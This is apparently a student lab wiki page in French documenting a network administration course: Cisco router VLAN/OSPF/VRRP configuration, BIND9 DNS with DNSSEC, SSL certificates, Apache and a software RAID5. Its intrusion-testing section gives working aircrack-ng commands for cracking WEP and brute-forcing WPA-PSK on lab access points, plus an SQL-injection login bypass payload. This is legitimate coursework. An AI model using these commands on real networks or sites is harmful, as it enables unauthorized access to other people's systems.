TP sysres IMA5 2021/2022 G10 : Différence entre versions
(→Réalisations) |
(→Ferme de serveurs Web) |
||
Ligne 255 : | Ligne 255 : | ||
On retrouve les memes fichiers crées en plus d'un nouveau répertoire '''/media/raid5/lost+found''' | On retrouve les memes fichiers crées en plus d'un nouveau répertoire '''/media/raid5/lost+found''' | ||
=Ferme de serveurs Web= | =Ferme de serveurs Web= | ||
+ | ==Architecture générale de la ferme== |
Version du 10 janvier 2022 à 14:53
Sommaire
Configuration Routeur C6509
L'architecture générale
Paramétrage de notre routeur
C6509 Je me suis chargé de la configuration du routeur cisco C6509 de la salle E-304. Il fallait pour chaque séance se connecter d'abord sur la console du rack 6 et lancer la commande boot pour activer ses interfaces
- VLAN 531
enable conf t vlan 531 exit int vlan 531 no shut ip address 192.168.222.74 255.255.255.248 exit int Te6/4 no shut switchport mode access switchport access vlan 531 exit exit write
- VLAN 42
enable conf t vlan 42 exit int vlan 42 no shut ip address 193.48.57.187 255.255.255.192 ipv6 enable ipv6 address 2001:7A8:116E:60B0::F0/64 eui-64 exit int Te5/5 no shut switchport mode access switchport access vlan 42 exit exit write
- Te5/4
interface TenGigabitEthernet5/4 switchport switchport trunk encapsulation dot1q
- OSPF
router ospf 1 router-id 192.168.222.74 log-adjacency-changes summary-address 193.48.57.176 255.255.255.240 summary-address 10.0.0.0 255.0.0.0 not-advertise redistribute connected subnets redistribute static subnets route-map ospf network 192.168.222.40 0.0.0.7 area 20 network 192.168.222.72 0.0.0.7 area 20 default-information originate
- VRRP
interface Vlan42 ip address 193.48.57.187 255.255.255.240 ipv6 address 2001:7A8:116E:60B0::F0/64 ipv6 enable vrrp 42 description version vrrp 42 ip 193.48.57.190 vrrp 42 priority 110
Installation de la VM
Configuration du DNS
Installation et configuration de BIND 9
Commençons par l’installation du service BIND 9
apt-get install bind9
Il faut maintenant préparer notre serveur avant de configurer bind 9.
Notre serveur aura ici pour adresse IP : 193.48.57.185
Tout d’abord, il est nécessaire de placer le nom FQDN de notre serveur (dans ce cas « Panache.panachima59abc.site » ) dans le fichier : /etc/hostname
Il faut ensuite modifier le fichier /etc/hosts de façon à ajouter le nouveau nom du serveur et’associer l’adresse IPV4 de notre serveur DNS à son nom FQDN.
Puis, dans le fichier /etc/resolv.conf :
Indiquez le domaine et la zone de recherche DNS. Cela permet que notre serveur soit intégré à la zone DNS que nous allons configuré par la suite.
search panachima59abcd.site domain panachima59abcd.site nameserver 193.48.57.185 nameserver 127.0.0.1
Nous allons désormais nous rendre dans le répertoire /etc/bind qui contient les fichiers de configurations de bind9.
Nous devons déclarer nos zones DNS à savoir la zone « panachima59abc.site » et sa zone inverse associée 57. 48.193.in-addr.arpa afin que les adresses IP puissent être traduites en noms de domaines.
Ainsi, il faut modifier le fichier : /etc/bind/named.conf.local
zone "panachima59abcd.site" { type master; file "/etc/bind/zones.rfc1918"; }; zone "57.48.193.in-addr.arpa" { type master; file "/etc/bind/db.57.48.193.in-addr.arpa"; };
Dans notre cas, les deux zones sont de types « master », c’est à dire que le serveur sera maître sur les deux zones.
Nous devons maintenant devoir créer nos zones.
Il faut pour cela créer et modifier le fichier suivant comme ci-dessous : nano /etc/bind/db.panachima59abcd.site
$TTL 10800 $ORIGIN panachima59abc.site. @ IN SOA ns1..panachima59abcd.site. root.panachima59abc.site. ( 20160505; 3h; 1h; 1w; 1h); @ IN NS ns1.panachima59abc.site. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.185
Nous venons de déclarer notre notre serveur (nom FQDN + @IP)
Pour tester notre configuration, il suffit d’utiliser la commande suivante : named-checkconf -z
Ensuite on configure notre DNS sur Gandi en ajoutant notre Glue record et en paramétrant nos deux domaines externes.
Sécurisation de serveur DNS par DNSSEC
Résultat de recherche d'images pour "dnssec"
Les DNSSEC renforcent l'authentification du DNS en utilisant des signatures numériques basées sur la cryptographie à clé publique. Avec les DNSSEC , les requêtes DNS et les réponses ne sont pas elles-mêmes signées cryptographiquement, ce sont les données DNS qui sont signées par le propriétaire des données.
- On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options
- On crée le répertoire panacheima59abcd.site.dnssec pour y générer les clefs ;
- On crée la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE panacheima59abcd.site
- On crée la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE panacheima59abcd.site
- On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée)
- On inclue les clefs publiques dans notre fichier de zone
$include /etc/bind/panacheima59abcd.site.dnssec/panacheima59abcd.site-ksk.key $include /etc/bind/panacheima59abcd.site.dnssec/panacheima59abcd.site-zsk.key
- On signe les enregistrements de la zone :
dnssec-signzone -o panacheima59abcd.site -k panacheima59abcd.site-ksk ../db.panacheima59abcd.site panacheima59abcd.site-zsk
- On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed
zone "panacheima59abcd.site" { type master; file "/etc/bind/db.panacheima59abcd.site.signed"; };
- On communique la partie publique de la KSK sur Gandi:
Test d'intrusion
5.2 Cassage de clef WEP d’un point d’accès WiFi
- On repére d'abord le nom de notre réseau sans fil avec la commande ip a
- On liste les cartes réseaux présentes sur le pc. Pour cela on utilise la commande iwconfig.
Pour scanner l'environnement Wi-Fi, on utilise l'outil airodump-ng qui, lancé sans option, permet d'écouter sur tous les canaux en séquence mais nous spécipifions notre carte réseau wlanmon0 sur lequel scanner le réseau.Comme seuls les réseaux protégés en WEP nous intéressent, on peut également préciser à l'outil de n'afficher que les réseaux ainsi protégés.
airodump-ng --encrypt WEP wlan0mon
Pour pouvoir injecter du trafic en provenance d'une adresse MAC factice, il est d'abord nécessaire d'associer cette dernière au point d'accès. Pour ce faire, on utilise l'outil aireplay-ng. Ce dernier est un peu le couteau suisse de l'attaque WEP, implémentant la plupart des attaques contre ce type de protection. On choisit comme cible le wifi cracotte07
aireplay-ng -9 -e cracotte07 -a 04:DA:D2:9C:50:56 wlan0mon
Pour capturer le trafic nécessaire au cassage de la clé WEP, on utilise encore une fois l'outil airodump-ng, en lui fixant un canal à écouter, un fichier de sortie, et éventuellement, le BSSID du réseau pour filtrer la capture.
airodump-ng -c 4 --bssid 04:DA:d2:9C:50:56 -w output wlan0mon
L'étape essentielle de l'attaque consiste à rejouer du trafic ARP capturé sur le réseau cible de manière à générer du trafic. Là encore, on utilisera l'outil aireplay-ng qui se chargera de l'identification de trames susceptibles d'être des requêtes ARP, de les capturer et les rejouer sur le réseau cible.
La dernière étape consiste à lancer le processus de cassage de clé sur la capture générée par airodump-ng. Ceci se fait au moyen de l'outil aircrack-ng. On le lance sur un nouveau terminal:
aircrack-ng -b 04:DA:D2:9C:50:56 output*.cap
5.3 Cassage de mot de passe WPA-PSK par force brute
- On scanne d'abord l'environnement wifi en spécifiant les réseaux de type PSK pour pouvoir choisir notre nouvelle cible:
airodump-ng --encrypt PSK wlan0mon
- Pour capturer le trafic nécessaire au cassage de la clé WPA-PSK, on utilise encore une fois l'outil airodump-ng
airodump-ng -c 4 --bssid 44:AD:D9:5F:87:06 -w psk wlan0mon
On génere ensuite le dictionnionnaire de clefs potentiels:
crunch 8 8 0123456789 -o dictionnaire.lst
On lance ensuite le craquage qui prend énormément de temps
aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:06 psk*.cap
5.5 Intrusion sur un serveur d’application Web
1. Attaque par injection sql
On injecte du code SQL à la place du mdp avec n'importe quel identifiant:
user : root ->(exemple) password : " OR 1=1;'
Service Internet
Serveur SSH
Connexion SSH :
$ ssh root@193.48.57.185
(Mot de pass habituel)
Création du certificat SSL
Nom de domaine : panacheima59abcd.site
1. Etape 1 : Génération de nos clés assymétriques
root@Panache:~# openssl req -nodes -newkey rsa:2048 -sha256 -keyout panacheima59abcd.site.key -out panacheima59abcd.site.csr
On obtient les fichiers panacheima59abcd.site.csr(clé publique) et panacheima59abcd.site.key(clé privée) que l'on déplace dans /etc/ssl/private/.
2. Etape 2 : Initiation de notre commande sur Gandi
_410FF1D81990060388E944AB2DE1D9A3.panacheima59abcd.site. 10800 IN CNAME 8172D68061E8FC98B62F78B737E08A75.84C9FCFD8DB368804A47B98C18189737.e44ad2329e7fabf14c09.sectigo.com.
Enfin, nous obtenons notre certificat téléchargeable depuis la page de gestion des certificats SSL que nous déplaçons dans /etc/ssl/certs/ à l'aide de scp.
Configuration Apache
1. Création/Configuration du fichier de configuration
On crée un fichier de configuration /etc/apache2/sites-available/panacheima59abcd.site.conf
<VirtualHost 193.48.57.185:443> ServerName panacheima59abcd.site ServerAlias www.panacheima59abcd.site DocumentRoot "/var/www/panache" SSLEngine on SSLCertificateKeyFile /etc/ssl/private/panacheima59abcd.site.key SSLCertificateChainFile /etc/ssl/certs/panacheima59abcd.site.crt SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem ErrorLog /var/log/apache2/error.panacheima59abcd.site.log CustomLog /var/log/apache2/access.panacheima59abcd.site.log combined </VirtualHost>
Puis on active le site avec la commande:
# a2ensite panacheima59abcd.site
2. Activation du module ssl
# a2enmod ssl
Puis on recharge ensuite la configuration d'Apache :
# sudo systemctl reload apache2
Réalisations
Sécurisation de données
Sur notre serveur Xen, on crée trois partitions LVM de 1Go avec des noms liés à celui de notre serveur.
lvcreate -L1G -n Panache-raid0 storage lvcreate -L1G -n Panache-raid1 storage lvcreate -L1G -n Panache-raid2 storage
On rajoute les disques sur le fichier de configuration de notre VM:
On installe le paquet mdadm pour créer un RAID5 logiciel avec les partitions crées.
apt-get install mdadm
Nous pouvons maintenant utiliser mdadm pour construire notre volume RAID 5 :
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
Le RAID disque est prêt mais il faut pouvoir le monter afin d'y copier les fichiers. Ainsi, il faut créer le système de fichiers:
mkfs.ext4 /dev/md0
Enfin il faut modifier /etc/fstab afin de créer le point de montage au démarrage de Linux.
mkdir /media/raid5 echo "/dev/md0 /media/raid5 ext4 defaults 0 2" >>/etc/fstab mount -a
On copie des données sur le raid 5
cd /media/raid5 touch test1 test2 test3
On arrete notre VM
shutdown -h now
On enleve le disque virtuel Panache-raid2 de notre machine virtuelle puis on le relance.
Essayez de remonter votre RAID5, que constatez-vous ?
On retrouve les memes fichiers crées en plus d'un nouveau répertoire /media/raid5/lost+found